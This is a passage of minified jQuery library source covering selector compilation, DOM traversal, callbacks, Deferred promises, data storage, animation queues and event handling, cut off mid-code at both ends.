]; i < f; i++ ) if ((c = d.relative[a[i].type])) m = [ta(ua(m), c)]; else { if (((c = d.filter[a[i].type].apply(null, a[i].matches)), c[u])) { for (e = ++i; e < f; e++) if (d.relative[a[e].type]) break; return xa( i > 1 && ua(m), i > 1 && sa( a .slice(0, i - 1) .concat({ value: " " === a[i - 2].type ? "*" : "" }) ).replace(P, "$1"), c, i < e && ya(a.slice(i, e)), e < f && ya((a = a.slice(e))), e < f && sa(a) ); } m.push(c); } return ua(m); } function za(a, b) { var c = b.length > 0, e = a.length > 0, f = function (f, g, h, i, k) { var l, o, q, r = 0, s = "0", t = f && [], u = [], v = j, x = f || (e && d.find.TAG("*", k)), y = (w += null == v ? 1 : Math.random() || 0.1), z = x.length; for ( k && (j = g === n || g || k); s !== z && null != (l = x[s]); s++ ) { if (e && l) { (o = 0), g || l.ownerDocument === n || (m(l), (h = !p)); while ((q = a[o++])) if (q(l, g || n, h)) { i.push(l); break; } k && (w = y); } c && ((l = !q && l) && r--, f && t.push(l)); } if (((r += s), c && s !== r)) { o = 0; while ((q = b[o++])) q(t, u, g, h); if (f) { if (r > 0) while (s--) t[s] || u[s] || (u[s] = E.call(i)); u = wa(u); } G.apply(i, u), k && !f && u.length > 0 && r + b.length > 1 && ga.uniqueSort(i); } return k && ((w = y), (j = v)), t; }; return c ? ia(f) : f; } return ( (h = ga.compile = function (a, b) { var c, d = [], e = [], f = A[a + " "]; if (!f) { b || (b = g(a)), (c = b.length); while (c--) (f = ya(b[c])), f[u] ? d.push(f) : e.push(f); (f = A(a, za(e, d))), (f.selector = a); } return f; }), (i = ga.select = function (a, b, c, e) { var f, i, j, k, l, m = "function" == typeof a && a, n = !e && g((a = m.selector || a)); if (((c = c || []), 1 === n.length)) { if ( ((i = n[0] = n[0].slice(0)), i.length > 2 && "ID" === (j = i[0]).type && 9 === b.nodeType && p && d.relative[i[1].type]) ) { if ( ((b = (d.find.ID(j.matches[0].replace(_, aa), b) || [])[0]), !b) ) return c; m && (b = b.parentNode), (a = a.slice(i.shift().value.length)); } f = V.needsContext.test(a) ? 0 : i.length; while (f--) { if (((j = i[f]), d.relative[(k = j.type)])) break; if ( (l = d.find[k]) && (e = l( j.matches[0].replace(_, aa), ($.test(i[0].type) && qa(b.parentNode)) || b )) ) { if ((i.splice(f, 1), (a = e.length && sa(i)), !a)) return G.apply(c, e), c; break; } } } return ( (m || h(a, n))( e, b, !p, c, !b || ($.test(a) && qa(b.parentNode)) || b ), c ); }), (c.sortStable = u.split("").sort(B).join("") === u), (c.detectDuplicates = !!l), m(), (c.sortDetached = ja(function (a) { return 1 & a.compareDocumentPosition(n.createElement("fieldset")); })), ja(function (a) { return ( (a.innerHTML = "<a href='#'></a>"), "#" === a.firstChild.getAttribute("href") ); }) || ka("type|href|height|width", function (a, b, c) { if (!c) return a.getAttribute(b, "type" === b.toLowerCase() ? 1 : 2); }), (c.attributes && ja(function (a) { return ( (a.innerHTML = "<input/>"), a.firstChild.setAttribute("value", ""), "" === a.firstChild.getAttribute("value") ); })) || ka("value", function (a, b, c) { if (!c && "input" === a.nodeName.toLowerCase()) return a.defaultValue; }), ja(function (a) { return null == a.getAttribute("disabled"); }) || ka(J, function (a, b, c) { var d; if (!c) return a[b] === !0 ? b.toLowerCase() : (d = a.getAttributeNode(b)) && d.specified ? d.value : null; }), ga ); })(a); (r.find = x), (r.expr = x.selectors), (r.expr[":"] = r.expr.pseudos), (r.uniqueSort = r.unique = x.uniqueSort), (r.text = x.getText), (r.isXMLDoc = x.isXML), (r.contains = x.contains), (r.escapeSelector = x.escape); var y = function (a, b, c) { var d = [], e = void 0 !== c; while ((a = a[b]) && 9 !== a.nodeType) if (1 === a.nodeType) { if (e && r(a).is(c)) break; d.push(a); } return d; }, z = function (a, b) { for (var c = []; a; a = a.nextSibling) 1 === a.nodeType && a !== b && c.push(a); return c; }, A = r.expr.match.needsContext, B = /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i, C = /^.[^:#\[\.,]*$/; function D(a, b, c) { return r.isFunction(b) ? r.grep(a, function (a, d) { return !!b.call(a, d, a) !== c; }) : b.nodeType ? r.grep(a, function (a) { return (a === b) !== c; }) : "string" != typeof b ? r.grep(a, function (a) { return i.call(b, a) > -1 !== c; }) : C.test(b) ? r.filter(b, a, c) : ((b = r.filter(b, a)), r.grep(a, function (a) { return i.call(b, a) > -1 !== c && 1 === a.nodeType; })); } (r.filter = function (a, b, c) { var d = b[0]; return ( c && (a = ":not(" + a + ")"), 1 === b.length && 1 === d.nodeType ? r.find.matchesSelector(d, a) ? [d] : [] : r.find.matches( a, r.grep(b, function (a) { return 1 === a.nodeType; }) ) ); }), r.fn.extend({ find: function (a) { var b, c, d = this.length, e = this; if ("string" != typeof a) return this.pushStack( r(a).filter(function () { for (b = 0; b < d; b++) if (r.contains(e[b], this)) return !0; }) ); for (c = this.pushStack([]), b = 0; b < d; b++) r.find(a, e[b], c); return d > 1 ? r.uniqueSort(c) : c; }, filter: function (a) { return this.pushStack(D(this, a || [], !1)); }, not: function (a) { return this.pushStack(D(this, a || [], !0)); }, is: function (a) { return !!D(this, "string" == typeof a && A.test(a) ? r(a) : a || [], !1) .length; }, }); var E, F = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, G = (r.fn.init = function (a, b, c) { var e, f; if (!a) return this; if (((c = c || E), "string" == typeof a)) { if ( ((e = "<" === a[0] && ">" === a[a.length - 1] && a.length >= 3 ? [null, a, null] : F.exec(a)), !e || (!e[1] && b)) ) return !b || b.jquery ? (b || c).find(a) : this.constructor(b).find(a); if (e[1]) { if ( ((b = b instanceof r ? b[0] : b), r.merge( this, r.parseHTML(e[1], b && b.nodeType ? b.ownerDocument || b : d, !0) ), B.test(e[1]) && r.isPlainObject(b)) ) for (e in b) r.isFunction(this[e]) ? this[e](b[e]) : this.attr(e, b[e]); return this; } return ( (f = d.getElementById(e[2])), f && ((this[0] = f), (this.length = 1)), this ); } return a.nodeType ? ((this[0] = a), (this.length = 1), this) : r.isFunction(a) ? void 0 !== c.ready ? c.ready(a) : a(r) : r.makeArray(a, this); }); (G.prototype = r.fn), (E = r(d)); var H = /^(?:parents|prev(?:Until|All))/, I = { children: !0, contents: !0, next: !0, prev: !0 }; r.fn.extend({ has: function (a) { var b = r(a, this), c = b.length; return this.filter(function () { for (var a = 0; a < c; a++) if (r.contains(this, b[a])) return !0; }); }, closest: function (a, b) { var c, d = 0, e = this.length, f = [], g = "string" != typeof a && r(a); if (!A.test(a)) for (; d < e; d++) for (c = this[d]; c && c !== b; c = c.parentNode) if ( c.nodeType < 11 && (g ? g.index(c) > -1 : 1 === c.nodeType && r.find.matchesSelector(c, a)) ) { f.push(c); break; } return this.pushStack(f.length > 1 ? r.uniqueSort(f) : f); }, index: function (a) { return a ? "string" == typeof a ? i.call(r(a), this[0]) : i.call(this, a.jquery ? a[0] : a) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1; }, add: function (a, b) { return this.pushStack(r.uniqueSort(r.merge(this.get(), r(a, b)))); }, addBack: function (a) { return this.add(null == a ? this.prevObject : this.prevObject.filter(a)); }, }); function J(a, b) { while ((a = a[b]) && 1 !== a.nodeType); return a; } r.each( { parent: function (a) { var b = a.parentNode; return b && 11 !== b.nodeType ? b : null; }, parents: function (a) { return y(a, "parentNode"); }, parentsUntil: function (a, b, c) { return y(a, "parentNode", c); }, next: function (a) { return J(a, "nextSibling"); }, prev: function (a) { return J(a, "previousSibling"); }, nextAll: function (a) { return y(a, "nextSibling"); }, prevAll: function (a) { return y(a, "previousSibling"); }, nextUntil: function (a, b, c) { return y(a, "nextSibling", c); }, prevUntil: function (a, b, c) { return y(a, "previousSibling", c); }, siblings: function (a) { return z((a.parentNode || {}).firstChild, a); }, children: function (a) { return z(a.firstChild); }, contents: function (a) { return a.contentDocument || r.merge([], a.childNodes); }, }, function (a, b) { r.fn[a] = function (c, d) { var e = r.map(this, b, c); return ( "Until" !== a.slice(-5) && (d = c), d && "string" == typeof d && (e = r.filter(d, e)), this.length > 1 && (I[a] || r.uniqueSort(e), H.test(a) && e.reverse()), this.pushStack(e) ); }; } ); var K = /[^\x20\t\r\n\f]+/g; function L(a) { var b = {}; return ( r.each(a.match(K) || [], function (a, c) { b[c] = !0; }), b ); } r.Callbacks = function (a) { a = "string" == typeof a ? L(a) : r.extend({}, a); var b, c, d, e, f = [], g = [], h = -1, i = function () { for (e = a.once, d = b = !0; g.length; h = -1) { c = g.shift(); while (++h < f.length) f[h].apply(c[0], c[1]) === !1 && a.stopOnFalse && ((h = f.length), (c = !1)); } a.memory || (c = !1), (b = !1), e && (f = c ? [] : ""); }, j = { add: function () { return ( f && (c && !b && ((h = f.length - 1), g.push(c)), (function d(b) { r.each(b, function (b, c) { r.isFunction(c) ? (a.unique && j.has(c)) || f.push(c) : c && c.length && "string" !== r.type(c) && d(c); }); })(arguments), c && !b && i()), this ); }, remove: function () { return ( r.each(arguments, function (a, b) { var c; while ((c = r.inArray(b, f, c)) > -1) f.splice(c, 1), c <= h && h--; }), this ); }, has: function (a) { return a ? r.inArray(a, f) > -1 : f.length > 0; }, empty: function () { return f && (f = []), this; }, disable: function () { return (e = g = []), (f = c = ""), this; }, disabled: function () { return !f; }, lock: function () { return (e = g = []), c || b || (f = c = ""), this; }, locked: function () { return !!e; }, fireWith: function (a, c) { return ( e || ((c = c || []), (c = [a, c.slice ? c.slice() : c]), g.push(c), b || i()), this ); }, fire: function () { return j.fireWith(this, arguments), this; }, fired: function () { return !!d; }, }; return j; }; function M(a) { return a; } function N(a) { throw a; } function O(a, b, c) { var d; try { a && r.isFunction((d = a.promise)) ? d.call(a).done(b).fail(c) : a && r.isFunction((d = a.then)) ? d.call(a, b, c) : b.call(void 0, a); } catch (a) { c.call(void 0, a); } } r.extend({ Deferred: function (b) { var c = [ [ "notify", "progress", r.Callbacks("memory"), r.Callbacks("memory"), 2, ], [ "resolve", "done", r.Callbacks("once memory"), r.Callbacks("once memory"), 0, "resolved", ], [ "reject", "fail", r.Callbacks("once memory"), r.Callbacks("once memory"), 1, "rejected", ], ], d = "pending", e = { state: function () { return d; }, always: function () { return f.done(arguments).fail(arguments), this; }, catch: function (a) { return e.then(null, a); }, pipe: function () { var a = arguments; return r .Deferred(function (b) { r.each(c, function (c, d) { var e = r.isFunction(a[d[4]]) && a[d[4]]; f[d[1]](function () { var a = e && e.apply(this, arguments); a && r.isFunction(a.promise) ? a .promise() .progress(b.notify) .done(b.resolve) .fail(b.reject) : b[d[0] + "With"](this, e ? [a] : arguments); }); }), (a = null); }) .promise(); }, then: function (b, d, e) { var f = 0; function g(b, c, d, e) { return function () { var h = this, i = arguments, j = function () { var a, j; if (!(b < f)) { if (((a = d.apply(h, i)), a === c.promise())) throw new TypeError("Thenable self-resolution"); (j = a && ("object" == typeof a || "function" == typeof a) && a.then), r.isFunction(j) ? e ? j.call(a, g(f, c, M, e), g(f, c, N, e)) : (f++, j.call( a, g(f, c, M, e), g(f, c, N, e), g(f, c, M, c.notifyWith) )) : (d !== M && ((h = void 0), (i = [a])), (e || c.resolveWith)(h, i)); } }, k = e ? j : function () { try { j(); } catch (a) { r.Deferred.exceptionHook && r.Deferred.exceptionHook(a, k.stackTrace), b + 1 >= f && (d !== N && ((h = void 0), (i = [a])), c.rejectWith(h, i)); } }; b ? k() : (r.Deferred.getStackHook && (k.stackTrace = r.Deferred.getStackHook()), a.setTimeout(k)); }; } return r .Deferred(function (a) { c[0][3].add(g(0, a, r.isFunction(e) ? e : M, a.notifyWith)), c[1][3].add(g(0, a, r.isFunction(b) ? b : M)), c[2][3].add(g(0, a, r.isFunction(d) ? d : N)); }) .promise(); }, promise: function (a) { return null != a ? r.extend(a, e) : e; }, }, f = {}; return ( r.each(c, function (a, b) { var g = b[2], h = b[5]; (e[b[1]] = g.add), h && g.add( function () { d = h; }, c[3 - a][2].disable, c[0][2].lock ), g.add(b[3].fire), (f[b[0]] = function () { return ( f[b[0] + "With"](this === f ? void 0 : this, arguments), this ); }), (f[b[0] + "With"] = g.fireWith); }), e.promise(f), b && b.call(f, f), f ); }, when: function (a) { var b = arguments.length, c = b, d = Array(c), e = f.call(arguments), g = r.Deferred(), h = function (a) { return function (c) { (d[a] = this), (e[a] = arguments.length > 1 ? f.call(arguments) : c), --b || g.resolveWith(d, e); }; }; if ( b <= 1 && (O(a, g.done(h(c)).resolve, g.reject), "pending" === g.state() || r.isFunction(e[c] && e[c].then)) ) return g.then(); while (c--) O(e[c], h(c), g.reject); return g.promise(); }, }); var P = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; (r.Deferred.exceptionHook = function (b, c) { a.console && a.console.warn && b && P.test(b.name) && a.console.warn("jQuery.Deferred exception: " + b.message, b.stack, c); }), (r.readyException = function (b) { a.setTimeout(function () { throw b; }); }); var Q = r.Deferred(); (r.fn.ready = function (a) { return ( Q.then(a)["catch"](function (a) { r.readyException(a); }), this ); }), r.extend({ isReady: !1, readyWait: 1, holdReady: function (a) { a ? r.readyWait++ : r.ready(!0); }, ready: function (a) { (a === !0 ? --r.readyWait : r.isReady) || ((r.isReady = !0), (a !== !0 && --r.readyWait > 0) || Q.resolveWith(d, [r])); }, }), (r.ready.then = Q.then); function R() { d.removeEventListener("DOMContentLoaded", R), a.removeEventListener("load", R), r.ready(); } "complete" === d.readyState || ("loading" !== d.readyState && !d.documentElement.doScroll) ? a.setTimeout(r.ready) : (d.addEventListener("DOMContentLoaded", R), a.addEventListener("load", R)); var S = function (a, b, c, d, e, f, g) { var h = 0, i = a.length, j = null == c; if ("object" === r.type(c)) { e = !0; for (h in c) S(a, b, h, c[h], !0, f, g); } else if ( void 0 !== d && ((e = !0), r.isFunction(d) || (g = !0), j && (g ? (b.call(a, d), (b = null)) : ((j = b), (b = function (a, b, c) { return j.call(r(a), c); }))), b) ) for (; h < i; h++) b(a[h], c, g ? d : d.call(a[h], h, b(a[h], c))); return e ? a : j ? b.call(a) : i ? b(a[0], c) : f; }, T = function (a) { return 1 === a.nodeType || 9 === a.nodeType || !+a.nodeType; }; function U() { this.expando = r.expando + U.uid++; } (U.uid = 1), (U.prototype = { cache: function (a) { var b = a[this.expando]; return ( b || ((b = {}), T(a) && (a.nodeType ? (a[this.expando] = b) : Object.defineProperty(a, this.expando, { value: b, configurable: !0, }))), b ); }, set: function (a, b, c) { var d, e = this.cache(a); if ("string" == typeof b) e[r.camelCase(b)] = c; else for (d in b) e[r.camelCase(d)] = b[d]; return e; }, get: function (a, b) { return void 0 === b ? this.cache(a) : a[this.expando] && a[this.expando][r.camelCase(b)]; }, access: function (a, b, c) { return void 0 === b || (b && "string" == typeof b && void 0 === c) ? this.get(a, b) : (this.set(a, b, c), void 0 !== c ? c : b); }, remove: function (a, b) { var c, d = a[this.expando]; if (void 0 !== d) { if (void 0 !== b) { r.isArray(b) ? (b = b.map(r.camelCase)) : ((b = r.camelCase(b)), (b = b in d ? [b] : b.match(K) || [])), (c = b.length); while (c--) delete d[b[c]]; } (void 0 === b || r.isEmptyObject(d)) && (a.nodeType ? (a[this.expando] = void 0) : delete a[this.expando]); } }, hasData: function (a) { var b = a[this.expando]; return void 0 !== b && !r.isEmptyObject(b); }, }); var V = new U(), W = new U(), X = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, Y = /[A-Z]/g; function Z(a) { return ( "true" === a || ("false" !== a && ("null" === a ? null : a === +a + "" ? +a : X.test(a) ? JSON.parse(a) : a)) ); } function $(a, b, c) { var d; if (void 0 === c && 1 === a.nodeType) if ( ((d = "data-" + b.replace(Y, "-$&").toLowerCase()), (c = a.getAttribute(d)), "string" == typeof c) ) { try { c = Z(c); } catch (e) {} W.set(a, b, c); } else c = void 0; return c; } r.extend({ hasData: function (a) { return W.hasData(a) || V.hasData(a); }, data: function (a, b, c) { return W.access(a, b, c); }, removeData: function (a, b) { W.remove(a, b); }, _data: function (a, b, c) { return V.access(a, b, c); }, _removeData: function (a, b) { V.remove(a, b); }, }), r.fn.extend({ data: function (a, b) { var c, d, e, f = this[0], g = f && f.attributes; if (void 0 === a) { if ( this.length && ((e = W.get(f)), 1 === f.nodeType && !V.get(f, "hasDataAttrs")) ) { c = g.length; while (c--) g[c] && ((d = g[c].name), 0 === d.indexOf("data-") && ((d = r.camelCase(d.slice(5))), $(f, d, e[d]))); V.set(f, "hasDataAttrs", !0); } return e; } return "object" == typeof a ? this.each(function () { W.set(this, a); }) : S( this, function (b) { var c; if (f && void 0 === b) { if (((c = W.get(f, a)), void 0 !== c)) return c; if (((c = $(f, a)), void 0 !== c)) return c; } else this.each(function () { W.set(this, a, b); }); }, null, b, arguments.length > 1, null, !0 ); }, removeData: function (a) { return this.each(function () { W.remove(this, a); }); }, }), r.extend({ queue: function (a, b, c) { var d; if (a) return ( (b = (b || "fx") + "queue"), (d = V.get(a, b)), c && (!d || r.isArray(c) ? (d = V.access(a, b, r.makeArray(c))) : d.push(c)), d || [] ); }, dequeue: function (a, b) { b = b || "fx"; var c = r.queue(a, b), d = c.length, e = c.shift(), f = r._queueHooks(a, b), g = function () { r.dequeue(a, b); }; "inprogress" === e && ((e = c.shift()), d--), e && ("fx" === b && c.unshift("inprogress"), delete f.stop, e.call(a, g, f)), !d && f && f.empty.fire(); }, _queueHooks: function (a, b) { var c = b + "queueHooks"; return ( V.get(a, c) || V.access(a, c, { empty: r.Callbacks("once memory").add(function () { V.remove(a, [b + "queue", c]); }), }) ); }, }), r.fn.extend({ queue: function (a, b) { var c = 2; return ( "string" != typeof a && ((b = a), (a = "fx"), c--), arguments.length < c ? r.queue(this[0], a) : void 0 === b ? this : this.each(function () { var c = r.queue(this, a, b); r._queueHooks(this, a), "fx" === a && "inprogress" !== c[0] && r.dequeue(this, a); }) ); }, dequeue: function (a) { return this.each(function () { r.dequeue(this, a); }); }, clearQueue: function (a) { return this.queue(a || "fx", []); }, promise: function (a, b) { var c, d = 1, e = r.Deferred(), f = this, g = this.length, h = function () { --d || e.resolveWith(f, [f]); }; "string" != typeof a && ((b = a), (a = void 0)), (a = a || "fx"); while (g--) (c = V.get(f[g], a + "queueHooks")), c && c.empty && (d++, c.empty.add(h)); return h(), e.promise(b); }, }); var _ = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, aa = new RegExp("^(?:([+-])=|)(" + _ + ")([a-z%]*)$", "i"), ba = ["Top", "Right", "Bottom", "Left"], ca = function (a, b) { return ( (a = b || a), "none" === a.style.display || ("" === a.style.display && r.contains(a.ownerDocument, a) && "none" === r.css(a, "display")) ); }, da = function (a, b, c, d) { var e, f, g = {}; for (f in b) (g[f] = a.style[f]), (a.style[f] = b[f]); e = c.apply(a, d || []); for (f in b) a.style[f] = g[f]; return e; }; function ea(a, b, c, d) { var e, f = 1, g = 20, h = d ? function () { return d.cur(); } : function () { return r.css(a, b, ""); }, i = h(), j = (c && c[3]) || (r.cssNumber[b] ? "" : "px"), k = (r.cssNumber[b] || ("px" !== j && +i)) && aa.exec(r.css(a, b)); if (k && k[3] !== j) { (j = j || k[3]), (c = c || []), (k = +i || 1); do (f = f || ".5"), (k /= f), r.style(a, b, k + j); while (f !== (f = h() / i) && 1 !== f && --g); } return ( c && ((k = +k || +i || 0), (e = c[1] ? k + (c[1] + 1) * c[2] : +c[2]), d && ((d.unit = j), (d.start = k), (d.end = e))), e ); } var fa = {}; function ga(a) { var b, c = a.ownerDocument, d = a.nodeName, e = fa[d]; return e ? e : ((b = c.body.appendChild(c.createElement(d))), (e = r.css(b, "display")), b.parentNode.removeChild(b), "none" === e && (e = "block"), (fa[d] = e), e); } function ha(a, b) { for (var c, d, e = [], f = 0, g = a.length; f < g; f++) (d = a[f]), d.style && ((c = d.style.display), b ? ("none" === c && ((e[f] = V.get(d, "display") || null), e[f] || (d.style.display = "")), "" === d.style.display && ca(d) && (e[f] = ga(d))) : "none" !== c && ((e[f] = "none"), V.set(d, "display", c))); for (f = 0; f < g; f++) null != e[f] && (a[f].style.display = e[f]); return a; } r.fn.extend({ show: function () { return ha(this, !0); }, hide: function () { return ha(this); }, toggle: function (a) { return "boolean" == typeof a ? a ? this.show() : this.hide() : this.each(function () { ca(this) ? r(this).show() : r(this).hide(); }); }, }); var ia = /^(?:checkbox|radio)$/i, ja = /<([a-z][^\/\0>\x20\t\r\n\f]+)/i, ka = /^$|\/(?:java|ecma)script/i, la = { option: [1, "<select multiple='multiple'>", "</select>"], thead: [1, "<table>", "</table>"], col: [2, "<table><colgroup>", "</colgroup></table>"], tr: [2, "<table><tbody>", "</tbody></table>"], td: [3, "<table><tbody><tr>", "</tr></tbody></table>"], _default: [0, "", ""], }; (la.optgroup = la.option), (la.tbody = la.tfoot = la.colgroup = la.caption = la.thead), (la.th = la.td); function ma(a, b) { var c; return ( (c = "undefined" != typeof a.getElementsByTagName ? a.getElementsByTagName(b || "*") : "undefined" != typeof a.querySelectorAll ? a.querySelectorAll(b || "*") : []), void 0 === b || (b && r.nodeName(a, b)) ? r.merge([a], c) : c ); } function na(a, b) { for (var c = 0, d = a.length; c < d; c++) V.set(a[c], "globalEval", !b || V.get(b[c], "globalEval")); } var oa = /<|&#?\w+;/; function pa(a, b, c, d, e) { for ( var f, g, h, i, j, k, l = b.createDocumentFragment(), m = [], n = 0, o = a.length; n < o; n++ ) if (((f = a[n]), f || 0 === f)) if ("object" === r.type(f)) r.merge(m, f.nodeType ? [f] : f); else if (oa.test(f)) { (g = g || l.appendChild(b.createElement("div"))), (h = (ja.exec(f) || ["", ""])[1].toLowerCase()), (i = la[h] || la._default), (g.innerHTML = i[1] + r.htmlPrefilter(f) + i[2]), (k = i[0]); while (k--) g = g.lastChild; r.merge(m, g.childNodes), (g = l.firstChild), (g.textContent = ""); } else m.push(b.createTextNode(f)); (l.textContent = ""), (n = 0); while ((f = m[n++])) if (d && r.inArray(f, d) > -1) e && e.push(f); else if ( ((j = r.contains(f.ownerDocument, f)), (g = ma(l.appendChild(f), "script")), j && na(g), c) ) { k = 0; while ((f = g[k++])) ka.test(f.type || "") && c.push(f); } return l; } !(function () { var a = d.createDocumentFragment(), b = a.appendChild(d.createElement("div")), c = d.createElement("input"); c.setAttribute("type", "radio"), c.setAttribute("checked", "checked"), c.setAttribute("name", "t"), b.appendChild(c), (o.checkClone = b.cloneNode(!0).cloneNode(!0).lastChild.checked), (b.innerHTML = "<textarea>x</textarea>"), (o.noCloneChecked = !!b.cloneNode(!0).lastChild.defaultValue); })(); var qa = d.documentElement, ra = /^key/, sa = /^(?:mouse|pointer|contextmenu|drag|drop)|click/, ta = /^([^.]*)(?:\.(.+)|)/; function ua() { return !0; } function va() { return !1; } function wa() { try { return d.activeElement; } catch (a) {} } function xa(a, b, c, d, e, f) { var g, h; if ("object" == typeof b) { "string" != typeof c && ((d = d || c), (c = void 0)); for (h in b) xa(a, h, c, d, b[h], f); return a; } if ( (null == d && null == e ? ((e = c), (d = c = void 0)) : null == e && ("string" == typeof c ? ((e = d), (d = void 0)) : ((e = d), (d = c), (c = void 0))), e === !1) ) e = va; else if (!e) return a; return ( 1 === f && ((g = e), (e = function (a) { return r().off(a), g.apply(this, arguments); }), (e.guid = g.guid || (g.guid = r.guid++))), a.each(function () { r.event.add(this, b, e, d, c); }) ); } (r.event = { global: {}, add: function (a, b, c, d, e) { var f, g, h, i, j, k, l, m, n, o, p, q = V.get(a); if (q) { c.handler && ((f = c), (c = f.handler), (e = f.selector)), e && r.find.matchesSelector(qa, e), c.guid || (c.guid = r.guid++), (i = q.events) || (i = q.events = {}), (g = q.handle) || (g = q.handle = function (b) { return "undefined" != typeof r && r.event.triggered !== b.type ? r.event.dispatch.apply(a, arguments) : void 0; }), (b = (b || "").match(K) || [""]), (j = b.length); while (j--) (h = ta.exec(b[j]) || []), (n = p = h[1]), (o = (h[2] || "").split(".").sort()), n && ((l = r.event.special[n] || {}), (n = (e ? l.delegateType : l.bindType) || n), (l = r.event.special[n] || {}), (k = r.extend( { type: n, origType: p, data: d, handler: c, guid: c.guid, selector: e, needsContext: e && r.expr.match.needsContext.test(e), namespace: o.join("."), }, f )), (m = i[n]) || ((m = i[n] = []), (m.delegateCount = 0), (l.setup && l.setup.call(a, d, o, g) !== !1) || (a.addEventListener && a.addEventListener(n, g))), l.add && (l.add.call(a, k), k.handler.guid || (k.handler.guid = c.guid)), e ? m.splice(m.delegateCount++, 0, k) : m.push(k), (r.event.global[n] = !0)); } }, remove: function (a, b, c, d, e) { var f, g, h, i, j, k, l, m, n, o, p, q = V.hasData(a) && V.get(a); if (q && (i = q.events)) { (b = (b || "").match(K) || [""]), (j = b.length); while (j--) if ( ((h = ta.exec(b[j]) || []), (n = p = h[1]), (o = (h[2] || "").split(".").sort()), n) ) { (l = r.event.special[n] || {}), (n = (d ? l.delegateType : l.bindType) || n), (m = i[n] || []), (h = h[2] && new RegExp("(^|\\.)" + o.join("\\.(?:.*\\.|)") + "(\\.|$)")), (g = f = m.length); while (f--) (k = m[f]), (!e && p !== k.origType) || (c && c.guid !== k.guid) || (h && !h.test(k.namespace)) || (d && d !== k.selector && ("**" !== d || !k.selector)) || (m.splice(f, 1), k.selector && m.delegateCount--, l.remove && l.remove.call(a, k)); g && !m.length && ((l.teardown && l.teardown.call(a, o, q.handle) !== !1) || r.removeEvent(a, n, q.handle), delete i[n]); } else for (n in i) r.event.remove(a, n + b[j], c, d, !0); r.isEmptyObject(i) && V.remove(a, "handle events"); } }, dispatch: function (a) { var b = r.event.fix(a), c, d, e, f, g, h, i = new Array(arguments.length), j = (V.get(this, "events") || {})[b.type] || [], k = r.event.special[b.type] || {}; for (i[0] = b, c = 1; c < arguments.length; c++) i[c] = arguments[c]; if ( ((b.delegateTarget = this), !k.preDispatch || k.preDispatch.call(this, b) !== !1) ) { (h = r.event.handlers.call(this, b, j)), (c = 0); while ((f = h[c++]) && !b.isPropagationStopped()) { (b.currentTarget = f.elem), (d = 0); while ((g = f.handlers[d++]) && !b.isImmediatePropagationStopped()) (b.rnamespace && !b.rnamespace.test(g.namespace)) || ((b.handleObj = g), (b.data = g.data), (e = ( (r.event.special[g.origType] || {}).handle || g.handler ).apply(f.elem, i)), void 0 !== e && (b.result = e) === !1 && (b.preventDefault(), b.stopPropagation())); } return k.postDispatch && k.postDispatch.call(this, b), b.result; } }, handlers: function (a, b) { var c, d, e, f, g, h = [], i = b.delegateCount, j = a.target; if (i && j.nodeType && !("click" === a.type && a.button >= 1)) for (; j !== this; j = j.parentNode || this) if (1 === j.nodeType && ("click" !== a.type || j.disabled !== !0)) { for (f = [], g = {}, c = 0; c < i; c++) (d = b[c]), (e = d.selector + " "), void 0 === g[e] && (g[e] = d.needsContext ? r(e, this).index(j) > -1 : r.find(e, this, null, [j]).length), g[e] && f.push(d); f.length && h.push({ elem: j, handlers: f }); } return ( (j = this), i < b.length && h.push({ elem: j, handlers: b.slice(i) }), h ); }, addProp: function (a, b) { Object.defineProperty(r.Event.prototype, a, { enumerable: !0, configurable: !0, get: r.isFunction(b) ? function () { if (this.originalEvent) return b(this.originalEvent); } : function () { if (this.originalEvent) return this.originalEvent[a]; }, set: function (b) { Object.defineProperty(this, a, { enumerable: !0, configurable: !0, writable: !0, value: b, }); }, }); }, fix: function (a) { return a[r.expando] ? a : new r.Event(a); }, special: { load: { noBubble: !0 }, focus: { trigger: function () { if (this !== wa() && this.focus) return this.focus(), !1; }, delegateType: "focusin", }, blur: { trigger: function () { if (this === wa() && this.blur) return this.blur(), !1; }, delegateType: "focusout", }, click: { trigger: function () { if ( "checkbox" === this.type && this.click && r.nodeName(this, "input") ) return this.click(), !1; }, _default: function (a) { return r.nodeName(a.target, "a"); }, }, beforeunload: { postDispatch: function (a) { void 0 !== a.result && a.originalEvent && (a.originalEvent.returnValue = a.result); }, }, }, }), (r.removeEvent = function (a, b, c) { a.removeEventListener && a.removeEventListener(b, c); }), (r.Event = function (a, b) { return this instanceof r.Event ? (a && a.type ? ((this.originalEvent = a), (this.type = a.type), (this.isDefaultPrevented = a.defaultPrevented || (void 0 === a.defaultPrevented && a.returnValue === !1) ? ua : va), (this.target = a.target && 3 === a.target.nodeType ? a.target.parentNode : a.target), (this.currentTarget = a.currentTarget), (this.relatedTarget = a.relatedTarget)) : (this.type = a), b && r.extend(this, b), (this.timeStamp = (a && a.timeStamp) || r.now()), void (this[r.expando] = !0)) : new r.Event(a, b); }), (r.Event.prototype = { constructor: r.Event, isDefaultPrevented: va, isPropagationStopped: va, isImmediatePropagationStopped: va, isSimulated: !1, preventDefault: function () { var a = this.originalEvent; (this.isDefaultPrevented = ua), a && !this.isSimulated && a.preventDefault(); }, stopPropagation: function () { var a = this.originalEvent; (this.isPropagationStopped = ua), a && !this.isSimulated && a.stopPropagation(); }, stopImmediatePropagation: function () { var a = this.originalEvent; (this.isImmediatePropagationStopped = ua), a && !this.isSimulated && a.stopImmediatePropagation(), this.stopPropagation(); }, }), r.each( { altKey: !0, bubbles: !0, cancelable: !0, changedTouches: !0, ctrlKey: !0, detail: !0, eventPhase: !0, metaKey: !0, pageX: !0, pageY: !0, shiftKey: !0, view: !0, char: !0, charCode: !0, key: !0, keyCode: !0, button: !0, buttons: !0, clientX: !0, clientY: !0, offsetX: !0, offsetY: !0, pointerId: !0, pointerType: !0, screenX: !0, screenY: !0, targetTouches: !0, toElement: !0, touches: !0, which: function (a) { var b = a.button; return null == a.which && ra.test(a.type) ? null != a.charCode ? a.charCode : a.keyCode : !a.which && void 0 !== b && sa.test(a.type) ? 1 & b ? 1 : 2 & b ? 3 : 4 & b ? 2 : 0 : a.which; }, }, r.event.addProp ), r.each( { mouseenter: "mouseover", mouseleave: "mouseout", pointerenter: "pointerover", 